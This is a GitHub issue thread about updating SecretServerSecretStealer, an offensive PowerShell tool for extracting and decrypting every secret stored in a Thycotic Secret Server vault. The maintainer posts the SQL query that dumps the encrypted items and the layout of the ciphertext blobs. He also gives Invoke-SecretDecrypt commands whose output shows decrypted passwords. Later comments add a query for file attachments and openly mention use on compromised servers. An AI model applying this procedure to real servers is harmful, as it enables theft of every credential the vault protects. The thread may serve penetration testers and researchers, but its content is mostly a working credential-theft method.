SecretServerSecretStealer
SecretServerSecretStealer copied to clipboard
Does not work with v10.5
@denandz any chance of revisiting this tool for 10.5 compatibility?
would love to see an update too. running this in a lab with version 10.7, here is the output:
VERBOSE: encryption.config key count: 3 VERBOSE: Got encryption.config key: key VERBOSE: Got encryption.config value: a13867e1bdcb9c24a6207161123d01a7 VERBOSE: Got encryption.config key: iv VERBOSE: Got encryption.config value: 0a815d06e749e0cc04255be3655f756a VERBOSE: Got encryption.config key: key256 VERBOSE: Got encryption.config value: 56989335f7c62ea6bc18be9e4cef46dd2fa086275e529be26469733772e00a14 Exception calling "TransformFinalBlock" with "3" argument(s): "The input data is not a complete block." At C:\temp\SecretStealer.ps1:168 char:13
-
$intermediateKey = $cryptoTransform.TransformFinalBlock($ ...
-
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- CategoryInfo : NotSpecified: (:) [], MethodInvocationException
- FullyQualifiedErrorId : CryptographicException
Cannot index into a null array. At C:\temp\SecretStealer.ps1:169 char:13
-
$intKeyString = [System.BitConverter]::ToString($intermed ...
-
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- CategoryInfo : InvalidOperation: (:) [], RuntimeException
- FullyQualifiedErrorId : NullArray
Getting the same with v10.8
Exception calling "TransformFinalBlock" - "The input data is not a complete block" Exception calling "CreateDecryptor" - "Value cannot be null" Cannot index into a null array
Righto, looks like >v10.5 switched up the cipher text storage a bit and added HMACs plus some other stuff we can more or less ignore. The new structure stores the ciphertext/iv/mac data in a single blob, but the overall master->intermediate->item encryption flow is the same.
The following SQL will pull all the items:
select s.SecretName, f.SecretFieldName, s.[Key], i.ItemValue from tbSecretItem as i JOIN tbSecret as s ON (s.SecretID = i.SecretID) JOIN tbSecretField as f on (i.SecretFieldID = f.SecretFieldID)
The Key
and ItemValue
will look something like this:
0x03022F5B28A351A76E7E6A98878944EC28D53F756415A9A67BA3CE2525441D1FFC115BCBAB7E31471292A47466332677A1A7B29CE679C892496604E7F7DB40B6CB61C6C1D8D914B1814B4DDB356E6FE19ED8EECD9AAD490B97EF43F0DBB7FBBC2EE8
[0302][2F5B28A351A76E7E6A98878944EC28D5][3F756415A9A67BA3CE2525441D1FFC115BCBAB7E31471292A47466332677A1A7][B29CE679C892496604E7F7DB40B6CB61C6C1D8D914B1814B4DDB356E6FE19ED8EECD9AAD490B97EF43F0DBB7FBBC2EE8]
[Header 2 bytes][IV 16 bytes][MAC 32 bytes][Ciphertext n bytes]
This gives you all the data you need for Invoke-SecretDecrypt
. Example below:
SQLCMD.EXE -d TSS -Q 'select s.SecretName, f.SecretFieldName, s.[Key], i.ItemValue from tbSecretItem as i JOIN tbSecret as s ON (s.SecretID = i.SecretID) JOIN tbSecretField as f on (i.SecretFieldID = f.SecretFieldID)' -W
SecretName SecretFieldName Key ItemValue
---------- --------------- --- ---------
password Password 0x03022F5B28A351A76E7E6A98878944EC28D53F756415A9A67BA3CE2525441D1FFC115BCBAB7E31471292A47466332677A1A7B29CE679C892496604E7F7DB40B6CB61C6C1D8D914B1814B4DDB356E6FE19ED8EECD9AAD490B97EF43F0DBB7FBBC2EE8 03022dcfd4b31359af5d664912bc42886ef6ca98a9c57efbe82ee2834099f842fd2646dd687187901601cb1baf2a3e5954f7d29c73e3dd865bd46333fe7ea0aabeee50570e0132257ac61e906eaeb373b765e510aefc9afa6fd6a5ebdae529a98cdf
... yoink ...
From the above we need to pull out the intermediate cipher text and IV (used to be called IVMek
), which comes from Key
, along with the Item cipher text and IV, which comes from ItemValue
. Something like:
Key cipher text: B29CE679C892496604E7F7DB40B6CB61C6C1D8D914B1814B4DDB356E6FE19ED8EECD9AAD490B97EF43F0DBB7FBBC2EE8
Key IV: 2F5B28A351A76E7E6A98878944EC28D5
Item cipher text: d29c73e3dd865bd46333fe7ea0aabeee50570e0132257ac61e906eaeb373b765e510aefc9afa6fd6a5ebdae529a98cdf
Item IV: 2dcfd4b31359af5d664912bc42886ef6
Which can get fed to Invoke-SecretDecrypt
:
PS C:\> $item = "03022dcfd4b31359af5d664912bc42886ef6ca98a9c57efbe82ee2834099f842fd2646dd687187901601cb1baf2a3e5954f7d29c73e3dd865bd46333fe7ea0aabeee50570e0132257ac61e906eaeb373b765e510aefc9afa6fd6a5ebdae529a98cdf"
PS C:\> $key = "03022F5B28A351A76E7E6A98878944EC28D53F756415A9A67BA3CE2525441D1FFC115BCBAB7E31471292A47466332677A1A7B29CE679C892496604E7F7DB40B6CB61C6C1D8D914B1814B4DDB356E6FE19ED8EECD9AAD490B97EF43F0DBB7FBBC2EE8"
PS C:\> Invoke-SecretDecrypt -EncryptionConfig C:\inetpub\wwwroot\SecretServer\encryption.config -NewFormat -Key $key.Substring(100) -IVMek $key.Substring(4, 32) -Item $item.Substring(100) -ItemIV $item.Substring(4, 32)
Decrypted: 3C2Bnewpassowrd122211
PS C:\> $key = "030253268D0E5EE5BD7DF3286B14FFC80E1B20B11CF9B5A222B479BAB6D486DD1936C1953E185FA9250E6498D5D9EB33FDB2170B71B472537EF2D0A74276FFC17036E9271494572A3BF01A9D84DCB9DBAAB9BDA384FE815334197750919069D7338B"
PS C:\> $item = "0302e168a8cdfc88463626eb27a7bb1b685c8a66565844974f41379100e5ec6839599f9f94a1f154e9e1cfa57ca9785a27565b70b785fde7448d0940f1ad6103138cbffb37ed797a7d2da07a5f963a5fa676b144912281eab6df06d5fbc74d9e7a5e"
PS C:\> Invoke-SecretDecrypt -EncryptionConfig C:\inetpub\wwwroot\SecretServer\encryption.config -NewFormat -Key $key.Substring(100) -IVMek $key.Substring(4, 32) -Item $item.Substring(100) -ItemIV $item.Substring(4, 32)
Decrypted: 1AE3E7zJj**l9**5
PS C:\>
The challenge here is now there are enough disparities between the various versions that for SecretServerSecretStealer (specifically Invoke-SecretStealer
) to work nicely it would need to implement some form of version detection. I'm going to leave this issue open for now.
Thanks @denandz! I was able to modify my module accordingly and all is well! Note in the two example decrypted passwords that the first 4 characters are not a part of the password -- I stripped these out in my own implementation.
I may provide a pull request -- however, my scenario is not so much compromising Secret Server as it is making a utility that can retrieve secrets from a free version of Secret Server (which doesn't have API access), so I'm not sure how useful it would be to an audience who is actually working with compromised servers ;)
Thanks @denandz! I was able to modify my module accordingly and all is well! Note in the two example decrypted passwords that the first 4 characters are not a part of the password -- I stripped these out in my own implementation.
I may provide a pull request -- however, my scenario is not so much compromising Secret Server as it is making a utility that can retrieve secrets from a free version of Secret Server (which doesn't have API access), so I'm not sure how useful it would be to an audience who is actually working with compromised servers ;)
Those first two bytes are a version header. Checking the values and notifying when they aren't the expected value would probably be a good idea, might give an early indication of changes in later Secret Server versions?
If you want to also decrypt file attachments, you can modify the query like this:
select s.SecretName, f.SecretFieldName, s.[Key], i.ItemValue, a.FileContents from tbSecretItem as i JOIN tbSecret as s ON (s.SecretID = i.SecretID) JOIN tbSecretField as f on (i.SecretFieldID = f.SecretFieldID) LEFT JOIN tbFileAttachment AS a on (i.FileAttachmentID = a.FileAttachmentID)
Then instead of decrypting the ItemValue
field, use the FileContents
field instead.
You will want to omit unicode decoding from the Invoke-SecretDecrypt
function and just dump to binary. Or alternatively if it is a plaintext file, replace [System.Text.Encoding]::Unicode.GetString
with [System.Text.Encoding]::ASCII.GetString
.
might be reviving something already dead but by any chance anyone is aware of the changes on the 11+ version? things look similar but the KEY entry in the DB is always NULL. where did you reverse how these values were used? I might try to dig in a bit to see what changed.
might be reviving something already dead but by any chance anyone is aware of the changes on the 11+ version? things look similar but the KEY entry in the DB is always NULL. where did you reverse how these values were used? I might try to dig in a bit to see what changed.
They've likely switched up the key logic again. You'll need to dig into the application logic to figure out how its working in 11+. This might be useful: https://pulsesecurity.co.nz/articles/dotnet-dynamic-analysis
If you figure out the new logic, please feel free to drop it in here and we can figure out how to work it into SecretServerSecretStealer. Good luck!